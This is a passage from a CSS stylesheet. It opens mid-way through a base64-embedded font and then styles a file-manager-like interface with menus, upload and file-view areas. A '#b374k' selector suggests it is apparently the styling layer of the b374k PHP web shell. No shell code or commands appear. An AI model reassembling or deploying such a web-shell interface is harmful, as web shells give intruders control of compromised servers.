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) format('woff');
	font-weight: normal;
	font-style: normal;
}
*{
	font-family:ubuntumono;
	margin:0;
	padding:0;
	border:0;
	-webkit-box-sizing:border-box;
	-moz-box-sizing:border-box;
	box-sizing:border-box;
	font-size:12px;
	font-weight:normal;
}
input:focus, select:focus, textarea:focus, button:focus{
	outline:none;
}
html, body{
	width:100%;
	height:100%;
	color:#222222;
}
body{
	background:#f0f0f0;
	line-height:17px;
}
a{
	text-decoration:none;
	color:#000000;
}
a:hover{
	cursor:pointer;
}
p{
	padding:8px 0;
}
img{
	vertical-align:middle;
}
table{
	width:100%;
}
table td, table th{
	vertical-align:middle;
	padding:8px;
}
textarea, input, select{
	background:#ffffff;
	padding:8px;
	border-radius:8px;
	color:#111111;
	border:1px solid #dddddd;
}
textarea{
	resize:vertical;
	width:100%;
	height:300px;
	min-height:300px;
	max-width:100%;
	min-width:100%;
}
hr{
	margin:8px 0;
	border-bottom:1px dashed #dddddd;
}
video{
	width:100%;
	background:#222222;
	border-radius:8px;
}
h1, h2{
	background:#E7E7E7;
	border-bottom: 1px solid #cccccc;
	color:#000000;
	border-radius:8px;
	text-align:center;
	cursor:pointer;
	padding:8px;
	margin-bottom:8px;
}
h1 a, h2 a{
	color:#000000;
}
pre, #viewFilecontent{
	word-break:break-all;
	word-wrap:break-word;
}
pre{
	white-space:pre-wrap;
}
#b374k{
	cursor:pointer;
}
#header{
	width:100%;
	position:fixed;
}
#headerNav{
	padding:10px 8px 6px 8px;
	background:#333333;
}
#headerNav img{
	margin:0 4px;
}
#headerNav a{
	color:#efefef;
}
#menu{
	background:#7C94A8;
	height:33px;
	border-bottom:3px solid #CCCFD1;
}
#menu .menuitem{
	padding:7px 12px 6px 12px;
	float:left;
	height:30px;
	background:#7C94A8;
	color:#ffffff;
	cursor:pointer;
}
#menu .menuitem:hover, #menu .menuitemSelected{
	background:#768999;
	color:#ffffff;
}
#menu .menuitemSelected{
	background:#768999;
}
#basicInfo{
	width:100%;
	padding:8px;
	border-bottom:1px dashed #dddddd;
}
#content{
	background:#f0f0f0;
	height:100%;
	padding:66px 8px 8px 8px;
}
#content .menucontent{
	background:#f0f0f0;
	clear:both;
	display:none;
	padding:8px;
	overflow-x:auto;
	overflow-y:hidden;
}
#overlay{
	position:fixed;
	top:0px;
	left:0px;
	width:100%;
	height:100%;
	display:none;
}
#loading{
	width:64px;
	height:64px;
	background:#7C94A8;
	border-radius:32px 0 32px 0;
	margin:auto;
	vertical-align:middle;
}
#ulDragNDrop{
	padding:32px 0;
	text-align:center;
	background:#7C94A8;
	border-radius:8px;
	color:#ebebeb;
}
#form{
	display:none;
}
#devTitle{
	background:#ebebeb;
}
.box{
	min-width:50%;
	border:1px solid #dddddd;
	padding:8px 8px 0 8px;
	border-radius:8px;
	position:fixed;
	background:#ebebeb;
	opacity:1;
	box-shadow:1px 1px 25px #150f0f;
	opacity:0.98;
}
.boxtitle{
	background:#dddddd;
	border: 1px solid #cccccc;
	color:#000000;
	border-radius:8px;
	text-align:center;
	cursor:pointer;
}
.boxtitle a, .boxtitle a:hover{
	color:#000000;
}
.boxcontent{
	padding:2px 0 2px 0;
}
.boxresult{
	padding:4px 10px 6px 10px;
	border-top:1px solid #dddddd;
	margin-top:4px;
	text-align:center;
}
.boxtbl{
	border:1px solid #dddddd;
	border-radius:8px;
	padding-bottom:8px;
	background:#ebebeb;
}
.boxtbl td{
	vertical-align:middle;
	padding:8px 15px;
	border-bottom:1px dashed #dddddd;
}
.boxtbl input, .boxtbl select, .boxtbl .button{
	width:100%;
}
.boxlabel{
	text-align: center;
	border-bottom:1px solid #dddddd;
	padding-bottom:8px;
}
.boxclose{
	background:#222222;
	border-radius:3px;
	margin-right:8px;
	margin-top:-3px;
	padding:2px 8px;
	cursor:pointer;
	color:#ffffff;
}
.strong{
	color:#7C94A8;
	text-shadow:0px 0px 1px #C0DCF5;
}
.weak{
	color:#666666;
}
.button{
	min-width:120px;
	width:120px;
	margin:2px;
	color:#ffffff;
	background:#7C94A8;
	border:none;
	padding:8px;
	border-radius:8px;
	display:block;
	text-align:center;
	float:left;
	cursor:pointer;
}
.button:hover, #ulDragNDrop:hover{
	background:#768999;
}
.floatLeft{
	float:left;
}
.floatRight{
	float:right;
}
.colFit{
	width:1px;
    white-space:nowrap;
}
.colSpan{
	width:100%;
}
.border{
	border:1px solid #dddddd;
	background:#ebebeb;
	border-radius:8px;
	padding:8px;
}
.borderbottom{
	border-bottom:1px dashed #dddddd;
}
.borderright{
	border-right:1px dashed #dddddd;
}
.borderleft{
	border-left:1px dashed #dddddd;
}
.hr td{
	border-bottom:1px dashed #dddddd;
}
.cBox, .cBoxAll{
	width:10px;
	height:10px;
	border:1px solid #7C94A8;
	border-radius:5px;
	margin:auto;
	float:left;
	margin:3px 6px 2px 6px;
	cursor:pointer;
}
.cBoxSelected{
	background:#7C94A8;
}
.action, .actionfolder, .actiondot{
	cursor:pointer;
}
.phpError{
	padding:8px;
